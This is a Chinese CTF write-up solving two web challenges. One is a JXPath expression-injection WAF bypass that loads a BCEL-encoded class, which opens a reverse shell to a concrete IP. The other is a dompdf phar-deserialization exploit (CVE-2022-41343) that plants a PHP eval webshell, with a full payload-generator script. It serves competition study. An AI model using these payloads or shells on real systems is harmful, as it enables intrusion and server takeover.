April 24, 2023

DASCTF 2023 Apr X SU Web Writeup

ezjxpath

考点:TCTF中的非预期解
都这么久了TCTF的影响力还是依然影响到今天的,首先先来审一下题吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.first.controller;

import com.example.first.utils.Waf;
import org.apache.commons.jxpath.JXPathContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
public IndexController() {
}

@ResponseBody
@RequestMapping({"/index"})
public String index() {
return "Hello CTFer";
}

@ResponseBody
@RequestMapping({"/hack"})
public String hack(@RequestParam(name = "query",required = true) String query) throws Exception {
try {
Waf waf = new Waf();
if (!waf.check(query)) {
return "try harder";
} else {
JXPathContext context = JXPathContext.newContext((Object)null);
context.getValue(query);
return "good job!";
}
} catch (Exception var4) {
return "some thing wrong?";
}
}
}

主要逻辑如上,很简短,主要重点就是JXPathContext,这个东西在之前被爆出过CVE

1
2
3
4
5
6
7
8
public static void main(String[] args) {
try {
JXPathContext context = JXPathContext.newContext(null);
context.getValue("exec(java.lang.Runtime.getRuntime(), 'calc')");
} catch (Exception e) {
e.printStackTrace();
}
}
1
2
3
4
5
6
7
8
public static void main(String[] args) {
try {
JXPathContext context = JXPathContext.newContext(null);
context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:9000/spring-Evil.xml\")");
} catch (Exception e) {
e.printStackTrace();
}
}
1
2
3
4
5
6
try {
JXPathContext context = JXPathContext.newContext(null);
context.getValue("javax.naming.InitialContext.doLookup('rmi://127.0.0.1:1099/1u560y')");
} catch (Exception e) {
e.printStackTrace();
}

常规的payload不亚于以上三种,但是很遗憾,题目都给在waf里ban掉了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.first.utils;

import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Locale;

public class Waf {
private List<String> blacklist = new ArrayList(Arrays.asList("java.lang", "Runtime", "org.springframework", "javax.naming", "Process", "ScriptEngineManager"));

public boolean check(String s) throws UnsupportedEncodingException {
if (s.isEmpty()) {
return false;
} else {
String reals = URLDecoder.decode(s, "UTF-8").toUpperCase(Locale.ROOT);

for(int i = 0; i < this.blacklist.size(); ++i) {
if (reals.toUpperCase(Locale.ROOT).contains(((String)this.blacklist.get(i)).toUpperCase(Locale.ROOT))) {
return false;
}
}

return true;
}
}

public Waf() {
}
}

如此一来我们只能另寻蹊跷了,赛后就突然想到TCTF里的非预期解好多都是静态方法,而这里我们也是用静态方法去利用的
com.sun.org.apache.bcel.internal.util.JavaWrapper,这个类的_main方法逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
  public static void _main(String[] argv) throws Exception {
/* Expects class name as first argument, other arguments are by-passed.
*/
if(argv.length == 0) {
System.out.println("Missing class name.");
return;
}

String class_name = argv[0];
String[] new_argv = new String[argv.length - 1];
System.arraycopy(argv, 1, new_argv, 0, new_argv.length);

JavaWrapper wrapper = new JavaWrapper();
wrapper.runMain(class_name, new_argv);
}
}


主要逻辑在于runMain方法里面,class_name和new_argv就是类名和参数,逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public void runMain(String class_name, String[] argv) throws ClassNotFoundException
{
Class cl = loader.loadClass(class_name);
Method method = null;

try {
method = cl.getMethod("_main", new Class[] { argv.getClass() });

/* Method _main is sane ?
*/
int m = method.getModifiers();
Class r = method.getReturnType();

if(!(Modifier.isPublic(m) && Modifier.isStatic(m)) ||
Modifier.isAbstract(m) || (r != Void.TYPE))
throw new NoSuchMethodException();
} catch(NoSuchMethodException no) {
System.out.println("In class " + class_name +
": public static void _main(String[] argv) is not defined");
return;
}

try {
method.invoke(null, new Object[] { argv });
} catch(Exception ex) {
ex.printStackTrace();
}
}

loader.loadClass(class_name);处显然是有类加载的,而这个loader仔细一看会发现是一个BCEL
image.png
那这里就回到之前写的一篇文章了
BCEL-ClassLoader赛博学习
在这里提到了BCEL字节码是怎么加载和利用的。然后对于上述的JavaWrapper类,最后loadclass后会去调用恶意类的_main方法,那我们只需要复刻一下恶意类就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;

import java.io.IOException;

public class calc {
public static void _main(String[] argv) throws IOException {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
}

public static void main(String[] args) {

}
}

随之把他编译为字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.IOException;

/**
* Hello world!
*
*/
public class App
{
public static void main( String[] args ) throws Exception {
JavaClass javaClass = Repository.lookupClass(calc.class);
String code = Utility.encode(javaClass.getBytes(), true);
System.out.println(code);
Class.forName("$$BCEL$$"+code,true,new ClassLoader());
//new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
//String str="$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmR$5dO$TA$U$3dC$b7$5d$ba$ae$C$c5$ef$_$aab$y$d2$ba$R$88$n$a91i$9ab4$db$WiS$82$3e$98$e92$d9N$d3$dd$r$bb$db$ba$80$fc$u_$d4$f8$e0$P$f0G$Z$ef$b4$84$Sa$92$993s$ee$99s$e7$de$cc$9f$bf$bf$7e$Dx$89$a7$G2$b8m$e0$O$ee$ce$e2$9e$c2$fb$3a$k$e8x$c8$90y$z$7d$Z$bfaH$VV$3a$MZ5$d8$X$Ms$b6$f4Ec$e8uE$d8$e6$dd$B19$3bp$f8$a0$c3C$a9$ce$a7$a4$W$f7d4$8e$85$ae$r$S$ee$j$M$84E2$a7$cc$90$fe$ecq$e93$dc$y$7c$b2$fb$7c$c4$ad$B$f7$5d$ab$V$87$d2w$cb$e3T$3ctG$M$8b$97$84$Z$8cZ$e2$88$83X$G$7e$a4c$89$c4$T3u$87$S$g$ad$60$Y$3abK$aaGdU$c2$X$ca$c3$84$8eY$jy$T$8f$f0$98$81wy$d4$cb$97$9c$fc$b1pzAq$cf$db$3a$e2$d5J$cc$5b$95$d5$f7$b22$fa$f8$b6$b3f$af$ef$f4$9d$eafRo$7f$Y$d6$db$b55$bb_K$9a$ad$8d$c3F$bb$3ej$i9$eb$8d$c3$ca$97m$b9$97$9c$7c$3d$s3$f1j$a3X$da$9f$ec$7b$c5$92$3c1$f1$E$cb$M$f3$ff$97O$d4$b4$a6f$b7$_$9c$98$K$jS2$b0$de5$cf$8acX$98$Kw$86$7e$y$3d$aa$c8pE$7cv$b8QX$b1$_h$a8C$9aH$E$rzV$b8$a4$bb$e7$a8$ed0pD$U$95$a9$ri$fa$Ej$a4$c0T$a3h$cd$d2$c9$od$84$e9$e7$3f$c0$be$d1f$G$G$ad$99$J$89$x$b4$9a$a7$7b$TW$J$b3$b8$869R$a9$cb$9b$84$wf$fc$c4L$$$f5$j$da$ee$d4$c1$m$E$r$caR$aa$a9$8b$81y$y$Q$e6hj$c4$yR$fc$3a$f9M$k$b3JS$a9$$$3c$c4$3cgA$3d$Z$5b$d0$df$g$abn$fd$D$f9$9fP$X$e8$C$A$A";
com.sun.org.apache.bcel.internal.util.JavaWrapper._main();
}

}

最后打入。

1
context.getValue("com.sun.org.apache.bcel.internal.util.JavaWrapper._main(split('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmR$5dO$TA$U$3dC$b7$5d$ba$ae$C$c5$ef$_$aab$y$d2$ba$R$88$n$a91i$9ab4$db$WiS$82$3e$98$e92$d9N$d3$dd$r$bb$db$ba$80$fc$u_$d4$f8$e0$P$f0G$Z$ef$b4$84$Sa$92$993s$ee$99s$e7$de$cc$9f$bf$bf$7e$Dx$89$a7$G2$b8m$e0$O$ee$ce$e2$9e$c2$fb$3a$k$e8x$c8$90y$z$7d$Z$bfaH$VV$3a$MZ5$d8$X$Ms$b6$f4Ec$e8uE$d8$e6$dd$B19$3bp$f8$a0$c3C$a9$ce$a7$a4$W$f7d4$8e$85$ae$r$S$ee$j$M$84E2$a7$cc$90$fe$ecq$e93$dc$y$7c$b2$fb$7c$c4$ad$B$f7$5d$ab$V$87$d2w$cb$e3T$3ctG$M$8b$97$84$Z$8cZ$e2$88$83X$G$7e$a4c$89$c4$T3u$87$S$g$ad$60$Y$3abK$aaGdU$c2$X$ca$c3$84$8eY$jy$T$8f$f0$98$81wy$d4$cb$97$9c$fc$b1pzAq$cf$db$3a$e2$d5J$cc$5b$95$d5$f7$b22$fa$f8$b6$b3f$af$ef$f4$9d$eafRo$7f$Y$d6$db$b55$bb_K$9a$ad$8d$c3F$bb$3ej$i9$eb$8d$c3$ca$97m$b9$97$9c$7c$3d$s3$f1j$a3X$da$9f$ec$7b$c5$92$3c1$f1$E$cb$M$f3$ff$97O$d4$b4$a6f$b7$_$9c$98$K$jS2$b0$de5$cf$8acX$98$Kw$86$7e$y$3d$aa$c8pE$7cv$b8QX$b1$_h$a8C$9aH$E$rzV$b8$a4$bb$e7$a8$ed0pD$U$95$a9$ri$fa$Ej$a4$c0T$a3h$cd$d2$c9$od$84$e9$e7$3f$c0$be$d1f$G$G$ad$99$J$89$x$b4$9a$a7$7b$TW$J$b3$b8$869R$a9$cb$9b$84$wf$fc$c4L$$$f5$j$da$ee$d4$c1$m$E$r$caR$aa$a9$8b$81y$y$Q$e6hj$c4$yR$fc$3a$f9M$k$b3JS$a9$$$3c$c4$3cgA$3d$Z$5b$d0$df$g$abn$fd$D$f9$9fP$X$e8$C$A$A',','))");

上述用到了split来获取数组,这是山河师傅发现的,我当时以为不能直接用split,要用全类名,但实际上Jxpath是识别的。
image.png

pdf_converter_revenge

考点:Phar反序列化
那个最初的版本就不说了,都是用TP5的RCE直接打的。说说预期解吧,拿到附件后会发现是基于TP5的一个web,有一个依赖迪奥做dompdf
http://buaq.net/go-129526.html
找到了这一篇文章,里面有详细的说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function registerFont($style, $remoteFile, $context = null)
{
[...]
$entry[$styleString] = $localFile;

// Download the remote file
[$protocol] = Helpers::explode_url($remoteFile);
$allowed_protocols = $this->options->getAllowedProtocols();
if (!array_key_exists($protocol, $allowed_protocols)) {
Helpers::record_warnings(E_USER_WARNING, "Permission denied on $remoteFile. The communication protocol is not supported.", __FILE__, __LINE__);
}

foreach ($allowed_protocols[$protocol]["rules"] as $rule) {
[$result, $message] = $rule($remoteFile);
if ($result !== true) {
Helpers::record_warnings(E_USER_WARNING, "Error loading $remoteFile: $message", __FILE__, __LINE__);
}
}

list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);
if ($remoteFileContent === null) {
return false;
}
[...]
}

主要错误就在这一段,在if ($result !== true) 后并没有return来结束,因此可以进入getFileContent函数,这意味着可以使用任何协议,然后包括主角phar。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

public static function getFileContent($uri, $context = null, $offset = 0, $maxlen = null)
{
$content = null;
$headers = null;
[$protocol] = Helpers::explode_url($uri);
$is_local_path = in_array(strtolower($protocol), ["", "file://", "phar://"], true);
$can_use_curl = in_array(strtolower($protocol), ["http://", "https://"], true);

set_error_handler([self::class, 'record_warnings']);

try {
if ($is_local_path || ini_get('allow_url_fopen') || !$can_use_curl) {
if ($is_local_path === false) {
$uri = Helpers::encodeURI($uri);
}
if (isset($maxlen)) {
$result = file_get_contents($uri, false, $context, $offset, $maxlen);
} else {
$result = file_get_contents($uri, false, $context, $offset);
}
if ($result !== false) {
$content = $result;
}
if (isset($http_response_header)) {
$headers = $http_response_header;
}

} elseif ($can_use_curl && function_exists('curl_exec')) {
[...]
}
} finally {
restore_error_handler();
}

return [$content, $headers];
}

[...]

可以看到file_get_contents,之后就不赘述了,接下来解释一下复现步骤,由于题目是基于TP5的,那么肯定是可以打TP5的反序列化利用链。
首先我们要生成恶意字体文件,用以下脚本去生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
import fontforge
import os
import sys
import tempfile
from typing import Optional

def main():
sys.stdout.buffer.write(do_generate_font())

def do_generate_font() -> bytes:
fd, fn = tempfile.mkstemp(suffix=".ttf")
os.close(fd)
font = fontforge.font()
font.copyright = "DUMMY FONT"
font.generate(fn)
with open(fn, "rb") as f:
res = f.read()
os.unlink(fn)
result = res
return result

if __name__ == "__main__":
main()

大概率会报错font模块没找到apt-get install python3-fontforge 安装一下
之后可以生成可以font:
python3 generate_font.py > font.ttf
image.png
随之用phpggc去生成payload。
image.png
./phpggc ThinkPHP/FW1 <remote_path> <local_path>
用法如上,remote_path是要写入靶场的位置,local_path是你shell文件的位置。
需要注意的是。tp5的话写入public文件夹下。因为只有public文件夹下我们可以访问
这里我准备的shell如下。

1
2
3
┌──(root㉿DESKTOP-OOLM65F)-[/mnt/e/CtfTool/phpggc-master/phpggc-master]
└─# cat 1.php
<?php eval($_POST['boogipop']);?>

php -d phar.readonly=0 phpggc ThinkPHP/FW1 /var/www/html/public ./1.php -p phar -pp font.ttf -o font-polyglot.phar
image.png
随后用如下脚本生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
import argparse
import hashlib
import base64
import urllib.parse
import os

PAYLOAD_TEMPLATE_URL_ENCODED = '''
<style>@font-face+{+font-family:'exploit';+src:url('%s');+font-weight:'normal';+font-style:'normal';}</style>
'''
PAYLOAD_TEMPLATE = '''
<style>
@font-face {
font-family:'exploit';
src:url('%s');
font-weight:'normal';
font-style:'normal';
}
</style>
'''

def get_args():
parser = argparse.ArgumentParser( prog="generate_payload.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''
This script will generate payloads for CVE-2022-41343
''')
parser.add_argument("file", help="Polyglot File")
parser.add_argument("-p", "--path", default="/var/www/", help="Base path to vendor directory (Default = /var/www/)")
args = parser.parse_args()
return args
def main():
args = get_args()
file = args.file.strip()
path = args.path.strip()
if(os.path.exists(file)):
generate_payloads(file, path)
else:
print("ERROR: File doesn't exist.")

def generate_payloads(file, path):
with open(file, "rb") as f:
fc = f.read()
b64 = base64.b64encode(fc)
data_uri_pure = "data:text/plain;base64,%s" % b64.decode()
md5 = hashlib.md5(data_uri_pure.encode()).hexdigest()
data_uri_double_encoded = "data:text/plain;base64,%s" % urllib.parse.quote_plus(urllib.parse.quote_plus(b64.decode()))
phar_uri = "phar://%s/vendor/dompdf/dompdf/lib/fonts/exploit_normal_%s.ttf##" % (path,md5)
req1_enc = PAYLOAD_TEMPLATE_URL_ENCODED % data_uri_double_encoded
req2_enc = PAYLOAD_TEMPLATE_URL_ENCODED % urllib.parse.quote_plus(phar_uri)
req1_pure = PAYLOAD_TEMPLATE % data_uri_double_encoded
req2_pure = PAYLOAD_TEMPLATE % phar_uri
print("====== REQUEST 1 ENCODED =======")
print(req1_enc)
print("====== REQUEST 2 ENCODED =======")
print(req2_enc)
print("====== REQUEST 1 NOT ENCODED =======")
print(req1_pure)
print("====== REQUEST 2 NOT ENCODED =======")
print(req2_pure)

if __name__ == "__main__":
main()

python exp.py -p "/var/www/html" font-polyglot.phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
====== REQUEST 1 ENCODED =======

<style>@font-face+{+font-family:'exploit';+src:url('data:text/plain;base64,AAEAAAANAIAAAwBQRkZUTaDD5rQAAAVwAAAAHE9TLzJVeV76AAABWAAAAGBjbWFwAA0DlgAAAcQAAAE6Y3Z0IAAhAnkAAAMAAAAABGdhc3D%252F%252FwADAAAFaAAAAAhnbHlmPaWWPgAAAwwAAABUaGVhZCE%252FRL0AAADcAAAANmhoZWEEIAAAAAABFAAAACRobXR4ArkAIQAAAbgAAAAMbG9jYQAqAFQAAAMEAAAACG1heHAARwA5AAABOAAAACBuYW1lpiMmRgAAA2AAAAHjcG9zdP%252B3ADIAAAVEAAAAIgABAAAAAQAAj5CsK18PPPUACwPoAAAAAOBrAJ8AAAAA4GsAnwAhAAABKgKaAAAACAACAAAAAAAAAAEAAAKaAAAAWgAAAAD%252F%252FwEqAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAgAAgAAAAAAAgAAAAEAAQAAAEAALgAAAAAABAH0AZAABQAAAooCvAAAAIwCigK8AAAB4AAxAQIAAAIABQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUGZFZACA%252F%252F8AAAMg%252FzgAWgKaAAAAAAABAAAAAAAAAAAAAAAgAAEBbAAhAAAAAAFNAAAAAAADAAAAAwAAABwAAQAAAAAANAADAAEAAAAcAAQAGAAAAAIAAgAAAAD%252F%252FwAA%252F%252F8AAQAAAAABBgAAAQAAAAAAAAABAgAAAAIAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACECeQAAACoAKgAqAAIAIQAAASoCmgADAAcALrEBAC88sgcEAO0ysQYF3DyyAwIA7TIAsQMALzyyBQQA7TKyBwYB%252FDyyAQIA7TIzESERJzMRIyEBCejHxwKa%252FWYhAlgAAAAADgCuAAEAAAAAAAAACgAWAAEAAAAAAAEACQA1AAEAAAAAAAIABwBPAAEAAAAAAAMAJQCjAAEAAAAAAAQACQDdAAEAAAAAAAUADwEHAAEAAAAAAAYACQErAAMAAQQJAAAAFAAAAAMAAQQJAAEAEgAhAAMAAQQJAAIADgA%252FAAMAAQQJAAMASgBXAAMAAQQJAAQAEgDJAAMAAQQJAAUAHgDnAAMAAQQJAAYAEgEXAEQAVQBNAE0AWQAgAEYATwBOAFQAAERVTU1ZIEZPTlQAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFIAZQBnAHUAbABhAHIAAFJlZ3VsYXIAAEYAbwBuAHQARgBvAHIAZwBlACAAMgAuADAAIAA6ACAAVQBuAHQAaQB0AGwAZQBkADEAIAA6ACAAMgAzAC0ANAAtADIAMAAyADMAAEZvbnRGb3JnZSAyLjAgOiBVbnRpdGxlZDEgOiAyMy00LTIwMjMAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFYAZQByAHMAaQBvAG4AIAAwADAAMQAuADAAMAAwAABWZXJzaW9uIDAwMS4wMDAAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAAACAAAAAAAA%252F7UAMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH%252F%252FwACAAAAAQAAAADf7eV1AAAAAOBrAJ8AAAAA4GsAnzw%252FcGhwIF9fSEFMVF9DT01QSUxFUigpOyA%252FPg0K8wMAAAEAAAARAAAAAQAAAAAAvQMAAE86MTM6InRoaW5rXFByb2Nlc3MiOjM6e3M6Mjc6IgB0aGlua1xQcm9jZXNzAHByb2Nlc3NQaXBlcyI7TzoyODoidGhpbmtcbW9kZWxccmVsYXRpb25cSGFzTWFueSI6NTp7czo4OiIAKgBxdWVyeSI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjU6IndoZXJlIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjE6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6NjoiACoAdGFnIjtiOjE7czoxMDoiACoAb3B0aW9ucyI7YToyOntzOjY6ImV4cGlyZSI7aTowO3M6NjoicHJlZml4IjtzOjA6IiI7fXM6MTA6IgAqAGhhbmRsZXIiO086MjM6InRoaW5rXGNhY2hlXGRyaXZlclxGaWxlIjoyOntzOjY6IgAqAHRhZyI7YjowO3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MzYwMDtzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDtzOjQ6InBhdGgiO3M6NzQ6InBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1kZWNvZGUvcmVzb3VyY2U9L3Zhci93d3cvaHRtbC9wdWJsaWMvc2hlbGwucGhwIjt9fX19fXM6OToiACoAcGFyZW50IjtPOjE3OiJ0aGlua1xtb2RlbFxNZXJnZSI6MTp7czoxOiJhIjtzOjE6IjEiO31zOjExOiIAKgBsb2NhbEtleSI7czoxOiJhIjtzOjg6IgAqAHBpdm90IjtOO3M6MTM6IgAqAGZvcmVpZ25LZXkiO3M6NTE6IkFBQVBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYkoySnZiMmRwY0c5d0oxMHBPejgrQ2crKyI7fXM6MjE6IgB0aGlua1xQcm9jZXNzAHN0YXR1cyI7aTozO3M6MzM6IgB0aGlua1xQcm9jZXNzAHByb2Nlc3NJbmZvcm1hdGlvbiI7YToxOntzOjc6InJ1bm5pbmciO2I6MTt9fQgAAAB0ZXN0LnR4dAQAAADqUEVkBAAAAAx%252Bf9ikAQAAAAAAAHRlc3SpuV9bLO9QZl15mVF8JesEYNmlUQIAAABHQk1C');+font-weight:'normal';+font-style:'normal';}</style>

====== REQUEST 2 ENCODED =======

<style>@font-face+{+font-family:'exploit';+src:url('phar%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fvendor%2Fdompdf%2Fdompdf%2Flib%2Ffonts%2Fexploit_normal_58b7eee7dc2adb832946db6e899c457f.ttf%23%23');+font-weight:'normal';+font-style:'normal';}</style>

====== REQUEST 1 NOT ENCODED =======

<style>
@font-face {
font-family:'exploit';
src:url('data:text/plain;base64,AAEAAAANAIAAAwBQRkZUTaDD5rQAAAVwAAAAHE9TLzJVeV76AAABWAAAAGBjbWFwAA0DlgAAAcQAAAE6Y3Z0IAAhAnkAAAMAAAAABGdhc3D%252F%252FwADAAAFaAAAAAhnbHlmPaWWPgAAAwwAAABUaGVhZCE%252FRL0AAADcAAAANmhoZWEEIAAAAAABFAAAACRobXR4ArkAIQAAAbgAAAAMbG9jYQAqAFQAAAMEAAAACG1heHAARwA5AAABOAAAACBuYW1lpiMmRgAAA2AAAAHjcG9zdP%252B3ADIAAAVEAAAAIgABAAAAAQAAj5CsK18PPPUACwPoAAAAAOBrAJ8AAAAA4GsAnwAhAAABKgKaAAAACAACAAAAAAAAAAEAAAKaAAAAWgAAAAD%252F%252FwEqAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAgAAgAAAAAAAgAAAAEAAQAAAEAALgAAAAAABAH0AZAABQAAAooCvAAAAIwCigK8AAAB4AAxAQIAAAIABQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUGZFZACA%252F%252F8AAAMg%252FzgAWgKaAAAAAAABAAAAAAAAAAAAAAAgAAEBbAAhAAAAAAFNAAAAAAADAAAAAwAAABwAAQAAAAAANAADAAEAAAAcAAQAGAAAAAIAAgAAAAD%252F%252FwAA%252F%252F8AAQAAAAABBgAAAQAAAAAAAAABAgAAAAIAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACECeQAAACoAKgAqAAIAIQAAASoCmgADAAcALrEBAC88sgcEAO0ysQYF3DyyAwIA7TIAsQMALzyyBQQA7TKyBwYB%252FDyyAQIA7TIzESERJzMRIyEBCejHxwKa%252FWYhAlgAAAAADgCuAAEAAAAAAAAACgAWAAEAAAAAAAEACQA1AAEAAAAAAAIABwBPAAEAAAAAAAMAJQCjAAEAAAAAAAQACQDdAAEAAAAAAAUADwEHAAEAAAAAAAYACQErAAMAAQQJAAAAFAAAAAMAAQQJAAEAEgAhAAMAAQQJAAIADgA%252FAAMAAQQJAAMASgBXAAMAAQQJAAQAEgDJAAMAAQQJAAUAHgDnAAMAAQQJAAYAEgEXAEQAVQBNAE0AWQAgAEYATwBOAFQAAERVTU1ZIEZPTlQAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFIAZQBnAHUAbABhAHIAAFJlZ3VsYXIAAEYAbwBuAHQARgBvAHIAZwBlACAAMgAuADAAIAA6ACAAVQBuAHQAaQB0AGwAZQBkADEAIAA6ACAAMgAzAC0ANAAtADIAMAAyADMAAEZvbnRGb3JnZSAyLjAgOiBVbnRpdGxlZDEgOiAyMy00LTIwMjMAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFYAZQByAHMAaQBvAG4AIAAwADAAMQAuADAAMAAwAABWZXJzaW9uIDAwMS4wMDAAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAAACAAAAAAAA%252F7UAMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH%252F%252FwACAAAAAQAAAADf7eV1AAAAAOBrAJ8AAAAA4GsAnzw%252FcGhwIF9fSEFMVF9DT01QSUxFUigpOyA%252FPg0K8wMAAAEAAAARAAAAAQAAAAAAvQMAAE86MTM6InRoaW5rXFByb2Nlc3MiOjM6e3M6Mjc6IgB0aGlua1xQcm9jZXNzAHByb2Nlc3NQaXBlcyI7TzoyODoidGhpbmtcbW9kZWxccmVsYXRpb25cSGFzTWFueSI6NTp7czo4OiIAKgBxdWVyeSI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjU6IndoZXJlIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjE6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6NjoiACoAdGFnIjtiOjE7czoxMDoiACoAb3B0aW9ucyI7YToyOntzOjY6ImV4cGlyZSI7aTowO3M6NjoicHJlZml4IjtzOjA6IiI7fXM6MTA6IgAqAGhhbmRsZXIiO086MjM6InRoaW5rXGNhY2hlXGRyaXZlclxGaWxlIjoyOntzOjY6IgAqAHRhZyI7YjowO3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MzYwMDtzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDtzOjQ6InBhdGgiO3M6NzQ6InBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1kZWNvZGUvcmVzb3VyY2U9L3Zhci93d3cvaHRtbC9wdWJsaWMvc2hlbGwucGhwIjt9fX19fXM6OToiACoAcGFyZW50IjtPOjE3OiJ0aGlua1xtb2RlbFxNZXJnZSI6MTp7czoxOiJhIjtzOjE6IjEiO31zOjExOiIAKgBsb2NhbEtleSI7czoxOiJhIjtzOjg6IgAqAHBpdm90IjtOO3M6MTM6IgAqAGZvcmVpZ25LZXkiO3M6NTE6IkFBQVBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYkoySnZiMmRwY0c5d0oxMHBPejgrQ2crKyI7fXM6MjE6IgB0aGlua1xQcm9jZXNzAHN0YXR1cyI7aTozO3M6MzM6IgB0aGlua1xQcm9jZXNzAHByb2Nlc3NJbmZvcm1hdGlvbiI7YToxOntzOjc6InJ1bm5pbmciO2I6MTt9fQgAAAB0ZXN0LnR4dAQAAADqUEVkBAAAAAx%252Bf9ikAQAAAAAAAHRlc3SpuV9bLO9QZl15mVF8Jes